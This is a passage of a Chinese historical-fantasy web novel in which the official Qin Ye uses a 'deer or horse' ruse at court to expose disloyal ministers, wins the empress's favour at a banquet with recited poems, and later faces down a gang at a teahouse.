夜色渐深，周衡却毫无睡意。他来回踱步，不时停下来翻看案上的密报，仿佛要将每个字都刻进脑海。 “秦烨啊秦烨，你也有今天。”他喃喃自语，眼中闪过一丝怨毒，“这些年来，你在朝中如日中天，压得我喘不过气。如今，终于让我抓到你的把柄了！” 次日清晨，天还未亮，午门外已经聚集了不少朝臣。 三更天刚过，这些官员们就得起床梳洗，匆匆用过早饭赶往皇宫。虽说皇上可以迟到，但他们这些做臣子的，可不敢有丝毫怠慢。 寒风料峭，官员们缩着脖子，三三两两地聚在一起闲聊，试图驱散些许寒意。 秦烨来到午门时，远远就看见了几个熟悉的身影。他手中把玩着一只玉雕小马，不紧不慢地向着不远处的司马辉走去。 “叔父大人，早啊。”秦烨拱手行礼，神色从容。 司马辉眼睛一亮：“小侄今日也来开会了。”他打量着秦烨的神色，见他一如既往的淡定，不由得暗自点头。 他注意到秦烨手中的玉雕，笑道：“贤侄倒是雅兴，这玉马做工不错。” 秦烨摇头一笑：“老叔您误会了，这不是马，是一只鹿。” “鹿？”司马辉仔细一看，明显是匹马的样子，但他很快就明白了秦烨的用意。 “哈哈，是老夫眼拙了，确实是只玉鹿。”司马辉爽朗大笑，眼中闪过一丝赞许。 这时，陈云翔从远处走来。他身着朝服，步履沉稳，与往日的盛气凌人判若两人。 “秦大人，司马大人。”陈云翔拱手见礼，语气温和。 “陈大人。”秦烨和司马辉回礼。 司马辉有些诧异地看着两人。记得前些日子，这两人还势同水火，怎么今日竟如此和气？他眼中闪过一丝疑惑，但很快就被掩饰过去。 秦烨又将手中玉雕递到陈云翔面前：“陈大人请看，这是什么？” 陈云翔看了一眼，嘴角微微上扬：“自然是只鹿。” “陈大人好眼力。”秦烨笑道。 三人相视一笑，都明白这只“玉鹿”背后的深意。 远处，周衡阴沉着脸看着这一幕。他的手指无意识地掐着掌心，指甲都陷进了肉里。 “哼，且让你们再得意一会。”他冷冷地想着，眼中的怨毒几乎要溢出来。 随着太阳渐渐升起，更多的官员陆续到来。朝服的窸窣声，官员们的低声交谈声，在晨风中交织成一片。 秦烨站在人群中，看着熙熙攘攘的官员们，心中盘算着接下来可能发生的事。他知道，周衡这条老狗一定会对自己下手。 不过，既然敢在朝堂上玩这一出，他又怎会没有准备？ 想到这里，秦烨的手指无意识地摩挲着袖中的密信。那是昨夜上官瑾送来的，里面详细记载了周衡这些年来的所有罪证。 【来吧，就让我看看，你们能玩出什么花样。】秦烨心中暗道。 鼓声响起，朝臣们开始列队入宫。秦烨站在队伍中，目光不经意间扫过周衡。只见周明德一脸得意地与身边人低声说着什么，时不时还瞥向自己这边。 【真是个蠢货。】秦烨在心里冷笑。他早就料到周衡会对自己出手，所以这段时间一直在暗中布局。 不仅如此，他还特意放出一些似是而非的消息，就等着周衡上钩。现在看来，效果不错。 队伍缓缓向前移动，秦烨的思绪也随之飘远。他想起昨晚与上官瑾的对话，想起她担忧的眼神。 “你真的有把握吗？”上官瑾问道。 秦烨笑而不答，只是轻轻拍了拍她的肩膀。有些事，不需要说得太明白。 三声静鞭响彻大殿，朝会即将开始。群臣依次入殿，行礼如仪。待众人平身后，高座龙座的上官瑾威严开口：“有本早奏，无事退朝。” “陛下，臣有事要奏。”陈云翔当即出列，朗声道，“工部尚书与禁军总戎二职空缺已久，臣以为应当尽快选拔合适人选填补。” 上官瑾微微颔首：“爱卿可有推荐？” “臣举荐江西都御史元马远为禁军总戎。此人虽为文官出身，但曾奉命平定过赣南叛乱，军事才干出众。另举荐工部侍郎钱有德为工部尚书。钱大人在工部多年，兢兢业业，曾代理尚书一职，政绩斐然。” 此言一出，朝堂哗然。元马远素来独来独往，与朝中各派都保持距离。钱有德更是刚升任侍郎不久，这两个提议着实出人意料。 但更令人震惊的是，孔云章等大臣竟纷纷出列附议。 “臣附议！” “臣等以为此二人堪当重任！” “请陛下准允！” 声浪此起彼伏，连一向稳重的司马辉也适时出列：“老夫也赞同此事。” 大理寺监正周衡站在人群中，面色阴沉。他死死盯着钱有德的背影，眼中妒火难掩。短短月余，钱有德便连升两级，而他在大理寺蹉跎多年，依旧只是个监正。 周衡的目光转向秦烨，眼底闪过一丝阴狠。他暗自盘算，今日定要找机会给秦烨一个下马威。自从上次被秦烨抓住把柄，他一直投鼠忌器。但经过这段时间观察，周衡渐渐放下戒心，断定秦烨不可能随身携带那些罪证。 殿内的气氛渐渐沉寂，女帝上官瑾高居龙座之上，神情淡漠地听着大臣们的奏报。眼看早朝即将结束，周衡深吸一口气，迈步向前。 “陛下，臣有本奏。” 他的声音不大不小，却让整个大殿为之一静。周围的官员们纷纷投来目光，有好奇，有警惕，更有几分看好戏的意味。 “说。”女帝上官瑾淡淡开口，目光略带审视。 “启禀陛下，臣发现秦烨大人竟在帮会大会上公然露面，此举已经违反了我大周律令。”周衡掷地有声地说道，语气中带着几分义愤填膺。 此言一出，朝堂上顿时一片哗然。群臣纷纷交头接耳，窃窃私语声此起彼伏。有人惊讶于秦烨竟是那位名动天下的诗人，也有人暗暗叹息，认为秦烨这回怕是在劫难逃。 “这秦烨也太大胆了。” “帮会大会可不是什么正经场合啊。” “这下有好戏看了。” 第一百八十二章 试探众臣 司马辉站在朝班前列，眉头微皱：“周监正，这事儿有铁证吗？” “司马大人，下官岂敢在朝堂之上妄言？”周衡嘴角勾起一抹得意的笑容，从怀中取出一卷画轴，“这是当日帮会大会上，画师所绘秦烨的画像。” 太监小步快跑，将画轴呈到龙座前。 上官瑾展开画轴，只见画中秦烨风姿卓越，正在举杯吟诗。她不禁看得有些出神，但很快就收敛了表情，将画轴递给身边的太监。 “陛下，这真是顶风作案，臣以为必须严惩不贷！”周衡见状，立刻高声道，脸上写满了正气凛然。 “应当立即将秦烨押下问斩，查抄虎卫！”又有官员附和。 “臣附议！” 一时间，殿内喧嚣四起。周衡暗暗得意，但很快就察觉到不对劲。那些附和的官员，品级都不高。而陈云翔、孔云章等几位尚书大人，却始终保持沉默。 这让他心中一沉。按理说，这几位尚书与秦烨都有过节，此时应该趁机落井下石才对。可他们不仅没有出声，看向自己的目光中反而带着几分寒意。 周衡心中焦急，额头渗出细密的汗珠。但转念一想，就算没有几位尚书相助也无妨。证据确凿，就算陛下再宠信秦烨，也不得不依律处置。 他得意地看向秦烨，却发现对方神色自若，嘴角还带着一丝若有若无的笑意。这让周衡心中没来由地一慌，手指不自觉地绞在了一起。 “陛下，周衡大人可是公忠体国，此事必须严惩！”又有官员站出来说道，声音中带着几分谄媚。 上官瑾轻轻点头，目光在周衡身上停留片刻：“很好，你这波操作真是为国为民。” 她顿了顿，与秦烨交换了一个眼神，接着说道：“不过，我大周公忠体国的臣子，可不止你一个。” 殿内气氛骤然一变，众人屏息凝神，等待着陛下接下来的话。 “秦烨。” “在。”秦烨向前一步，衣袂翩翩。 “朕命你整顿汴城地下势力，你做得很好。” 此言一出，满朝哗然。大家这才心领神会，原来这一切都是陛下的旨意。周衡脸色瞬间变得惨白，额头的汗珠如豆子般滚落。 “有功必赏。”上官瑾继续说道，“从即日起，你便是翰林院掌院。” 秦烨躬身行礼：“臣，领旨。” 周衡双腿发软，几乎站立不住。他万万没想到，自己精心设计的一场大戏，竟然会以这样的方式收场。更让他心惊的是，秦烨看向他时，眼中闪过的那一丝冷意。他忽然意识到，自己这是踢到了铁板上。 朝堂上其他官员也都噤若寒蝉。谁也没想到，看似违反律令的行为，竟是奉旨行事。而秦烨，更是一步登天，成为了翰林院掌院。 陈云翔与孔云章对视一眼，都从对方眼中看到了一丝笑意。他们早已看出秦烨不是等闲之辈，如今果然平步青云。 就在众人以为这场风波就此平息时，秦烨却突然从袖中取出一物，正是那只玉马。 “诸位，”他举起玉器，“在下得了这件玉器，一时难辨其形。既然今日诸位大人都在，不知可否帮我掌掌眼？” 这突如其来的转折让众人一愣。几个御史刚要开口说些什么，却被上官瑾的目光制止。既然陛下默许，他们也只好配合。 “这不就是一匹骏马吗？”有人率先开口。 “对啊，看这形态，应该是北疆赤焰马。” “和田玉雕刻，价值数千两银子，也算得上是上等物件了。” 众人你一言我一语，气氛渐渐轻松起来。然而秦烨却微微皱眉：“这是马？我怎么觉得，更像是一只鹿？” “秦大人说笑了，”管理御马寮的官员笑道，“这显然就是马，怎么可能是鹿？” “就是，就是！”另一名官员连忙附和，脸上堆满谄媚的笑容，“秦大人莫非是眼花了？要不要让太医给您开些明目的药方？” 朝堂之上议论声渐起，有人窃窃私语，有人面露不屑，更多的人则是一脸困惑。秦烨却神色淡然，嘴角挂着若有若无的笑意，仿佛在看一场早已预料到结局的戏码。 几位年迈的大臣保持着沉默。他们眯着浑浊的眼睛，仔细打量着秦烨的表情。以秦烨的聪慧，怎会认不出马和鹿的区别？这其中必有深意。 秦烨缓缓抬头，目光投向高座之上的女帝上官瑾。只见她威严肃穆，对殿中的喧哗置若罔闻，纤长的手指有一下没一下地敲击着龙座扶手。 “咳咳。”陈承业站了出来，抚了抚胡须，“秦大人，一个玉雕是马是鹿，当真有这么要紧吗？” “要紧，当然要紧。”秦烨轻笑一声，目光如刀般扫过殿中众人，“鹿，自古便与天下相连。逐鹿中原，不正是为了这天下吗？” 他的声音不疾不徐，却让在场的每个人都感受到一股无形的压力。 “而马，”秦烨继续道，手指轻轻抚过玉雕表面，“不过是臣仆坐骑罢了。二者天差地别，岂能混为一谈？” 殿中再次陷入死一般的寂静。所有人都听出了弦外之音。秦烨这是在逼他们表态，是要他们在女帝和藩王之间做出选择。 “诸位以为如何？”秦烨的声音在殿内回荡。 有官员立刻反应过来，连忙拱手道：“秦大人说得对，是老夫眼拙了，这确实是一只梅花鹿。您看这优雅的姿态，这灵动的神韵，分明就是鹿的特征。” “对对对，”又一人附和道，额头沁出细密的汗珠，“这角的形状，分明就是鹿角！我等怎么会看错呢？” “看来是我们之前都看走了眼。” 但仍有一些官员沉默不语。这些人大多是藩王上官煜的心腹，此刻进退两难，脸上的表情精彩纷呈。有人面色铁青，有人强装镇定，更有甚者已经开始微微发抖。 秦烨将玉雕在手中轻轻把玩，玉石在烛光下泛着温润的光泽：“鹿马不同群，自古如此。诸位说是不是？” 他的语气依旧平和，眼神却锐利如刀，仿佛能看透每个人的心思。 朝堂上的气氛越发凝重。支持藩王的官员们面面相觑，有人额头已是汗如雨下，有人的手指在袖中不住地颤抖。 秦烨不动声色地观察着每个人的反应。这场戏，不过是为了将朝中暗藏的藩王势力一网打尽。 转眼间，明年就来到，藩王必然会有所行动。为了保护女帝，为了司马玉华腹中的孩子，他必须提前布局。 不仅要清除汴城的地下势力，铲除青云教的爪牙，更要将朝堂上这些蛰伏的毒蛇揪出来。 一个都不能放过。 第一百八十三章 所言极是 “秦大人说得极是。”又一名大臣站了出来，擦了擦额头的汗水，“鹿马之别，确实关系重大。老夫虽年迈眼花，但这道理还是明白的。” 秦烨微微颔首。这场指鹿为马的戏码，不过是他布下的一个局。那些仍在犹豫不决的人，已经暴露了自己的立场。 他与龙座上的上官瑾对视一眼，二人心照不宣。女帝的眼中闪过一丝赞许，随即又恢复了威严的神色。 殿中众臣还在纷纷表态，有人坚持这是马，有人改口说是鹿。每个人的选择，都将决定他们的命运。 “诸位大人，”秦烨的声音突然提高了几分，“既然对这玉雕有争议，不如让陛下定夺如何？” 此言一出，殿内顿时鸦雀无声。所有人的目光都投向了高座之上的女帝。 上官瑾缓缓起身，威严的目光扫过殿中众臣：“朕以为，这确实是一只鹿。” 她的声音不大，却字字千钧。 “李爱卿说得对，鹿马之别，关系重大。”上官瑾继续道，“朕念诸位为国效力多年，今日不过是一时眼拙。若还有人执迷不悟，那就休怪朕不讲情面了。” 话音刚落，殿外突然传来整齐的脚步声。 一队禁军大步走入殿内，刀剑出鞘的声音在寂静的大殿中格外刺耳。 那些还在坚持这是马的官员脸色瞬间变得惨白。 “陛下！”有人跪地求饶，“臣知错了，这确实是鹿啊！” “现在知错，为时已晚。”秦烨冷笑一声，“来人，将这些认不清形势的大人，请去大理寺好好审问审问。” 禁军立刻上前，将那些官员一一拿下。 “陛下英明！”殿内剩余的大臣齐声高呼。 上官瑾高坐龙座，纤细的手指轻轻敲击着扶手。殿内檀香袅袅，她的目光扫过下方跪伏的群臣，唇角勾起一抹若有似无的笑意。 今天朝堂上的这场戏，让她心情大好。那些曾经对她不冷不热的朝臣们，终于不再唯唯诺诺，而是选择了站在她这一边。虽说其中不乏被迫的因素，但这已经足够了。 重要的是这些大臣们的表态，一旦传到上官煜耳中，必定会动摇他对这些人的信任。想到这里，她眼中闪过一丝得意。 “诸位爱卿。”上官瑾的声音在大殿内回荡，带着几分慵懒与威严。 群臣齐齐作揖，目光投向龙座。有人眼中带着谄媚，有人则是一脸凝重。 “朕今日要在凤仪园设宴，还请各位大人赏个脸。”她轻轻抚摸着龙座扶手上的雕纹，“朕已经命人准备了上好的美酒佳肴。” “臣谢主隆恩！”群臣高呼。能得到皇帝赐宴，这是莫大的荣耀，大多数官员脸上都露出欣喜之色。 但仍有几位大臣面色阴郁，他们都是上官煜的心腹。周衡站在人群中，眉头紧锁，手指不自觉地攥紧了官袍。 秦烨站在殿下，看着这一幕，嘴角微微上扬。今日这一切，都在他的计划之中。以他为饵，引出周衡等人，再借机试探群臣的立场。这一招可谓是一石二鸟。 “时候不早了，各部衙还有公务在身，诸位爱卿退朝吧。”上官瑾挥了挥手，玉指上的明珠在阳光下闪烁着柔和的光芒。 “臣等恭送陛下回宫！” 群臣三三两两地退出大殿，低声议论着今日朝堂上发生的事。有人面带忧色，有人则是喜形于色。朝堂上的风向已经悄然改变，每个人都能感受到这种微妙的变化。 秦烨与司马辉、陈云翔等人同行。陈云翔看着身边年轻的秦烨，心中掀起惊涛骇浪。这个年轻人的手段，着实令人叹服。 不远处，新晋工部尚书钱有德脸上洋溢着笑容。对他这种没有深厚背景的官员来说，能够坐上工部尚书之位，简直是天大的喜事。 一群官员围在他身边道贺，有些人甚至是往日的仇家，此刻也都笑脸相迎。钱有德的目光不时瞥向秦烨，眼中闪烁着复杂的光芒。 “钱大人，恭喜高升啊！”一个矮胖的官员挤上前来，满脸堆笑。 “钱大人真是青云直上，前程似锦啊！”又有人附和道。 钱有德笑而不语，目光再次投向远处的秦烨。众人见状，顿时心领神会。有人试探着问道：“钱大人，莫非是因为秦大人……” “为臣者，当以忠君为本。”钱有德打断了那人的话，“只要恪尽职守，自有出头之日。”说罢，他大步朝秦烨走去。 “秦大人。”钱有德躬身行礼，姿态放得很低。 “钱大人不必多礼。”秦烨笑着扶起他，眼中带着几分深意。 “此次能够升任工部尚书，全赖秦大人提携。”钱有德压低声音说道，脸上带着几分感激。 秦烨轻笑：“钱大人言重了。咱家不过是在皇上面前提了几句，最终拍板的可是皇上。”他意味深长地看着钱有德，“钱大人可要好好把握这个机会，莫要辜负了皇上的信任。” 钱有德连连点头：“秦大人说的太对了。”虽然他的官职比秦烨高，但在秦烨面前，却如同晚辈一般恭敬。 秦烨看着钱有德离去的背影，眼中闪过一丝精芒。朝堂上的势力正在悄然改变，一步步按照他的计划进行着。 司马辉凑到秦烨身边，压低声音道：“今日这一招，当真是高明。那些墙头草们，终于要表明立场了。” “不过是投其所好罢了。”秦烨淡淡一笑，“上官瑾想要拉拢朝臣，我们就给她这个机会。” “只是上官煜那边……”司马辉欲言又止。 “他若是聪明，就该明白现在的形势。”秦烨眼中闪过一丝锋芒，“若是不聪明……那就只能怪他自己了。” 走在回府的路上，秦烨想起今日朝堂上的种种。那些大臣们脸上的表情，或喜或忧，或犹豫或坚定。每个人都在为自己的前程打算。 街道两旁的店铺已经开始收摊，夕阳的余晖洒在青石板路上，拉长了行人的影子。几个小贩还在叫卖着最后的货物，声音中带着几分疲惫。 秦烨走得很慢，似乎在思考着什么。身后的侍卫们保持着恰到好处的距离，既不会打扰到他，又能及时应对可能的危险。 “大人。”一个侍卫突然低声提醒，“有人跟踪。” 秦烨的脚步没有丝毫变化，继续向前走着。“知道了。”他轻声说道，“不用管他们。” 第一百八十四章 宫廷晚宴 转过一个街角，秦烨看到了自己的府邸。朱红色的大门在夕阳下显得格外醒目，门前的石狮子威严依旧。 管家早已在门口等候，见到秦烨回来，连忙迎了上来：“大人，有一封信。” 秦烨接过信件，拆开一看，嘴角微微上扬。“看来，有些人坐不住了。”他将信件扔进烛火中，看着纸张化为灰烬。 夜色渐深，秦烨站在院中，望着天上的明月。庭院里的花木在夜风中轻轻摇曳，发出沙沙的响声。 一个侍女端着茶盘走来，轻声道：“大人，茶要凉了。” 秦烨接过茶杯，轻轻抿了一口。茶香在口中蔓延，让他的思绪更加清晰。 府邸的后院传来一阵喧闹声，打断了秦烨的思绪。 “怎么回事？”他皱眉问道。 管家匆匆赶来：“大人，宫里来人，说陛下请您尽快回宫。” 秦烨眼中闪过一丝玩味：“这么着急？”他放下茶杯，“跟来人回个话，说我立刻过去。” “是。”管家领命退下。 夜色如墨，皇城凤仪园内灯火通明。 秦烨坐在席间，看着眼前觥筹交错的场景，不禁有些恍惚。这场由女帝上官瑾亲自设下的宫宴，汇聚了朝中文武百官，热闹非凡。 御膳房精心准备的珍馐佳肴摆满了案几，香气四溢。秦烨注意到不少中低品级官员眼中闪烁着异样的光芒，有人甚至偷偷打量着桌上的瓜果，想必是琢磨着宴会结束后带些回家。 “也难怪。”秦烨暗自摇头。 这个时节，寻常百姓家哪里能见到新鲜瓜果。即便是朝中官员，若非有冰窖贮存，也难得一尝。 “诸位爱卿，今夜君臣同乐，不必拘礼。”上官瑾的声音从上首传来，清冷中带着几分温和。她端坐在龙座上，目光不经意间扫过秦烨所在的位置。 秦烨微微低头，避开那道目光。他能感受到周围投来的各种眼神：有羡慕的，有嫉妒的，更有探究的。自从他在朝中地位渐显，这种目光就从未停止过。 “臣等谢陛下恩典！”群臣齐声应和。 宫乐声起，歌姬舞者翩然入场。秦烨却无心欣赏，因为不断有官员前来敬酒。 一名身着绯红官服的中年人举杯而来，脸上堆满笑容：“秦大人，下官敬您一杯。听闻您近日主持修建水利工程，造福一方百姓，实在令人钦佩。” 秦烨淡然一笑，举杯相应。这位是礼部侍郎孔清远，平日里对他不冷不热，今日却主动示好，想必是看中了他手中掌管的工程款项。 “孔大人过誉了。治水利民，本是分内之事。”秦烨不动声色地回应。 又一位官员凑了过来：“秦大人近来春风得意，下官特来祝贺。” 秦烨看着眼前这张谄媚的面孔，心中暗叹。这些人无非是看中了他如今在朝中的地位，想要攀附罢了。但他也深知，在这多事之秋，团结一切可以团结的力量才是正道。 就在这时，有人高声道：“秦大人诗才冠绝朝野，不如借这良辰美景，赋诗一首如何？” 此言一出，立刻引来众人附和。秦烨发现提议的是仪部员外郎。这位年轻官员才气横溢，但为人心高气傲，平日里对他多有不屑。 秦烨环顾四周，发现上官瑾也投来关切的目光。他知道，这个时候必须稳住场面，不能让人察觉到异常。 他轻笑一声，举杯而起：“既然诸位雅兴所至，那李某便献丑了。” 酒意上涌，秦烨心中豪气顿生。他放声吟道： “醉里挑灯看剑，梦回吹角连营……” 诗声未落，满座皆惊。就连一向沉稳的司马辉也不禁抚摸着自己斑白的鬓角，陷入往事的追忆中。 “好诗！” “秦大人果然才华横溢！” “这等诗作，当浮一大白！” 众人纷纷举杯称赞。秦烨却看向了上官瑾，只见她正低声吟诵着这首诗，唇角挂着淡淡的笑意。那笑容让秦烨心头一暖，于是接着开口道。 “举杯邀明月，对影成三人。” 秦烨的诗句一出。满堂宾客先是一愣，继而爆发出此起彼伏的惊叹声。 “妙啊！秦大人这诗写得太妙了！” “意境深远，意象鲜明，当真是绝句中的上品！” 殿内觥筹交错，觥筹交错间，不时有人向秦烨敬酒。这已经是今晚第二首绝句了，前一首“醉里挑灯看剑”的余韵尚未散去，新的佳作又已脱口而出。 秦烨端着酒杯，目光在众人惊叹的面容上一一扫过。他的视线最终停留在上首，那里端坐着一道倾国倾城的身影——大周女帝上官瑾。 “秦爱卿的诗才，朕是越发欣赏了。”上官瑾轻抿了一口酒，眼波流转间带着几分醉意，“这样的才子，放在哪个朝代都是不可多得的。” 秦烨微微躬身：“陛下过奖了。臣不过是偶有所得，比起前朝大家，实在是不值一提。” “秦大人太谦虚了。”一旁的仪部侍郎钱晖连忙附和，“您这两首诗若是传出去，只怕又要在汴城掀起一阵抄录狂潮啊。” “是啊，上次那首"春风得意马蹄疾"，现在还有不少人在传唱呢。” 众臣你一言我一语，纷纷举杯相敬。秦烨来者不拒，杯来盏往间，酒意渐浓。他的目光时不时瞥向上官瑾，每次都能捕捉到她若有若无的注视。 夜色渐深，群臣告退，偌大的承明殿内只剩下秦烨和上官瑾二人。宫女们识趣地退到殿外，留下这对君臣独处。 “你这是要醉死自己吗？”上官瑾蹙眉看着醉态可掬的秦烨，语气中带着几分责备，“朕看你今晚至少喝了三斤酒。” 秦烨摇晃着身子，脸上泛着不正常的潮红：“喝酒嘛，开心就好。再说了，这可是陛下赐的御酒，不喝岂不是太可惜了？” “开心？”上官瑾冷哼一声，玉手轻抚檀木案几，“那你就继续开心，反正又不是朕的身子。” 话虽如此，她还是唤来宫女准备醒酒汤。看着宫女端着醒酒汤进来，上官瑾亲自接过，示意宫女退下。 “来，把这个喝了。” 秦烨歪着脑袋，醉眼朦胧地看着上官瑾：“你这是在关心我？堂堂女帝，居然亲自给臣下端醒酒汤？” “呸！”上官瑾别过脸去，但耳根已经悄然泛红，“离朕远点，一身酒气，臭死了。要不是看在你今晚作诗的份上，朕才懒得管你。” 第一百八十五章 乖乖听话 “这哪是酒气，分明是酒香！”秦烨大着舌头，摇摇晃晃地向前走去，“陛下，您闻闻，这可是琼浆玉液的香气。” 上官瑾见他步伐不稳，生怕他摔倒，连忙上前搀扶。她的手刚碰到秦烨的胳膊，就感受到一股灼人的温度，让她不由自主地想要缩回手。 “别闹了，赶紧把醒酒汤喝了去休息。” “我没醉，清醒得很！”秦烨挣扎着要站直身子，却一个趔趄差点摔倒。 上官瑾无奈，只得半拖半拽地将他弄到床边。用力一推，秦烨整个人跌在床上，像个大字般摊开。 “累死朕了。”上官瑾喘着气，玉手扶着床柱，“你就不能老实点？” “为什么要老实？”秦烨躺在床上嘟囔，“你又不是我媳妇。要是你是我媳妇，我肯定乖乖听话。” 这话让上官瑾俏脸一红，心跳不由自主地加快。她看着床上醉醺醺的秦烨，鬼使神差地凑近他的耳边。 “那你说，你喜欢朕吗？” “喜欢啊。”秦烨毫不犹豫，“就是不知道你喜不喜欢我。每次看你的眼神，我都猜不透。” 上官瑾心头一颤，还未及回答，秦烨突然坐起身来。他双眼发红，目光灼灼地盯着上官瑾，像是要将她的样子刻进骨子里。 “我要搂着你睡觉。” “不行！”上官瑾慌忙要逃，却被秦烨一把拉住。他将她搂入怀中，力道之大让上官瑾动弹不得。 “放开朕！”上官瑾挣扎着，粉拳捶打在秦烨胸口，“你这是大不敬！” “不放，就要这样睡。”秦烨说着，朝上官瑾的唇吻去。上官瑾心跳如鼓，眼看着那张俊朗的面容越来越近，却见秦烨的头一歪，直接睡了过去。 她哭笑不得，本以为今晚会发生什么，没想到这个男人竟然真的醉得不省人事。看着秦烨熟睡的面容，上官瑾心中五味杂陈。 上官瑾轻轻握住秦烨的手，十指相扣。他的手很温暖，掌心有着常年握剑留下的茧子。这双手写出了绝世诗篇，也能挥剑杀敌，立下赫赫战功。 夜已深沉，疲惫渐渐袭来。上官瑾靠在秦烨怀中，听着他均匀的呼吸声，缓缓闭上了眼睛。 这一夜，月光如水，静静流淌在两人身上。殿外的宫女们守在门口，谁也不敢打扰这难得的温存时刻。 次日清晨，当第一缕阳光透过窗棂洒进来时，秦烨悠悠转醒。宿醉的头痛让他皱起眉头，但很快，他就意识到怀中还躺着一个人。 上官瑾还在沉睡，长长的睫毛微微颤动，像是在做着美梦。秦烨看着她的睡颜，心中涌起一阵柔情。他想要轻轻抽出手臂，却不小心惊动了上官瑾。 “唔……”上官瑾睁开眼，对上秦烨的目光，瞬间清醒过来。 “陛下……” “闭嘴！”上官瑾猛地坐起身，整理着有些凌乱的衣衫，“昨晚的事，你要是敢说出去……” “臣不敢。”秦烨连忙表态，但嘴角却挂着若有若无的笑意。 上官瑾瞪了他一眼，快步走向殿门。在推开门的瞬间，她回头看了秦烨一眼：“今晚还有诗会，你可要准备好了。” “遵旨。”秦烨躬身行礼，目送上官瑾离去。 阳光洒在他的身上，映出一道修长的影子。秦烨望着那道远去的倩影，心中默念着昨夜那句未曾说出口的话： “执子之手，与子携老。” 晨光熹微，汴城街道上三三两两走着不少身着儒衫的士子。他们大多是为了科举而来，脸上带着对功名利禄的渴望。街边的茶摊已经支起，茶香袅袅升起，与清晨的薄雾交织在一起。 夏朗站在茶摊前，看着手中的茶盏，热气氤氲中映出他略显疲惫的面容。昨夜为了准备今日的文会，他几乎彻夜未眠。 “夏兄，看你这模样，莫非是又熬了一宿？”秦豪端着茶盏走来，眼中带着几分关切。 夏朗苦笑着摇了摇头，茶水在盏中轻轻晃动：“这不是想着今日要与诸位切磋文章，生怕献丑么。” “你倒是认真。”怀书德摇着折扇走过来，“说起来，今日的文会地点可是定在了醉月楼，那可是汴城数一数二的雅致之所。” 茶摊老板听到醉月楼三个字，忍不住插话道：“几位公子可要小心，听说这两日醉月楼周围不太平，有江湖人士在那边闹事。” “江湖人士？”秦豪眉头微皱，“可是那个"玉华阁"的人又来寻事了？” 老板压低声音：“可不是嘛，那些人仗着有些功夫，就在街上横行霸道。要不是有衙门的人盯着，怕是要闹得更凶。” 正说着，街角忽然传来一阵喧哗声。众人循声望去，只见一群身着华服的年轻人正在推搡一个面容清瘦的书生。 “这不是张同窗么？”怀书德认出了那个书生，“怎么惹上这些人了？” 夏朗二话不说就要上前，却被秦豪一把拉住：“且慢，那些人来头不小，咱们……” 话音未落，一道人影已经闪到了混乱中心。那人一身青衫，气度从容，三两下就化解了冲突。 “秦大人？”夏朗失声叫道。 确实是秦烨，他站在那里，仅仅几句话就让那群闹事的人灰溜溜地离开了。 “多谢秦大人相助。”张姓书生连连作揖。 秦烨微微颔首，目光扫过周围看热闹的人群，在夏朗等人身上稍作停留，随即转身离去。 “这位秦大人，”茶摊老板啧啧称奇，“最近在汴城可是出了不少名。听说不仅武功高强，更是学问过人。” 怀书德摇着折扇，若有所思：“我倒是听说，他在江湖中也颇有声望，只是为何会在汴城任职？” “诸位，你们可知道……”一个熟悉的声音从身后传来，众人回头，却见陈峰满面红光地跑了过来。 “陈兄这是遇到什么好事了？”秦豪打趣道。 陈峰压低声音，神秘兮兮地说道：“昨夜凤仪园夜宴，出了件大事！那位秦大人，竟在宴席上献了两首绝世好诗！” “什么？”众人齐声惊呼。 “不仅如此，”陈峰继续道，“那两首诗得到了陛下亲自赞赏！我父亲亲眼所见，说秦大人不仅在朝中任职，更是深受陛下信任！” 夏朗皱眉道：“这怎么可能？他不是江湖中人么？” “这有什么不可能的？”茶摊老板插嘴道，“我听说，那位秦大人年纪轻轻就中了进士，只是后来不知为何，突然销声匿迹，在江湖上闯荡了几年。” 陈峰点头道：“正是如此。诸位且听我将那两首诗念来……” 第一百八十六章 去醉月楼 就在这时，街角又传来一阵骚动。只见一队官兵簇拥着一位青衫男子走来，正是方才解围的秦烨。 众人下意识地让开一条路，看着这位传说中的人物从眼前走过。 秦烨依旧是那副从容淡定的模样，仿佛对周围的议论充耳不闻。但当他经过夏朗等人身边时，目光中闪过一丝若有若无的笑意。 “这气度……”怀书德喃喃道，“难怪能得陛下赏识。” “诸位，”秦豪忽然提议，“既然话都说到这里了，不如我们去醉月楼？正好可以细细品味那两首诗。” 大家齐声附和，收拾好东西就要动身。这时，茶摊老板又叫住了他们：“几位公子且慢，我方才听说，醉月楼那边好像又起了冲突……” 夏朗等人对视一眼，都从对方眼中看到了跃跃欲试的神色。 “怕什么？”秦豪笑道，“有秦大人在，那些宵小之辈还能翻了天不成？” 于是一行人说说笑笑地向醉月楼走去。阳光渐渐变得明媚，照在这群年轻士子的身上，映出一片青春的光彩。 醉月楼前，果然聚集了不少人。楼上楼下，喧哗声不断。 “看来是真的出事了。”怀书德皱眉道。 夏朗正要说话，忽见楼上飞下一个人影，重重摔在地上。众人定睛一看，竟是方才那群闹事的人中的一个。 “谁敢在这里放肆？”一个粗豪的声音从楼上传来。 众人抬头望去，只见一个魁梧大汉正站在二楼栏杆处，面色狰狞地俯视着下方。 “是玉华阁的孙老大！”有人认出了那人的身份，顿时议论纷纷。 就在这时，一个清朗的声音响起：“在下秦某，不知孙老大为何要在此闹事？” 人群自动分开，露出了站在中间的秦大人。他依旧是那副从容不迫的模样，仿佛眼前的混乱与他无关。 “原来是秦大人。”孙老大冷笑一声，“久闻大名，今日终得一见。不过，这醉月楼的事，还请秦大人莫要插手。” 秦烨淡淡道：“孙老大既然知道在下的身份，想必也知道在下的职责。这醉月楼是汴城重地，不容有人在此生事。” “哈哈哈！”孙老大大笑，“秦烨莫非以为，凭你一个人就能管得了我玉华阁不成？” 话音未落，数十个手持兵器的汉子已经从楼上楼下围了上来。 眼看一场大战在所难免，夏朗等人却发现秦烨的脸上竟然露出了一丝笑意。 “孙老大，”秦烨缓缓道，“在下今日来此，是奉旨查办一桩案子。若是孙老大执意要闹，那就别怪在下不客气了。” 此言一出，孙老大的脸色顿时变了。 “奉旨？”他声音有些发颤，“这……” 秦烨没有多说，只是从怀中取出一道金牌，在阳光下闪闪发亮。 孙老大的脸色瞬间变得煞白。他踉跄着后退几步，随即对手下大喊：“撤！都给我撤！” 转眼间，方才还气焰嚣张的玉华阁众人就作鸟兽散。 围观的人群中发出一阵惊叹声。夏朗等人面面相觑，都从对方眼中看到了震惊之色。 秦烨收起金牌，环视四周，目光在夏朗等人身上停留片刻，嘴角微微上扬。 “秦大人威武！”不知是谁带头喊了一声，顿时响起一片叫好声。 秦烨却仿佛没有听见一般，转身对随从说道：“去查一查这玉华阁的底细，看看背后可有什么见不得人的勾当。” 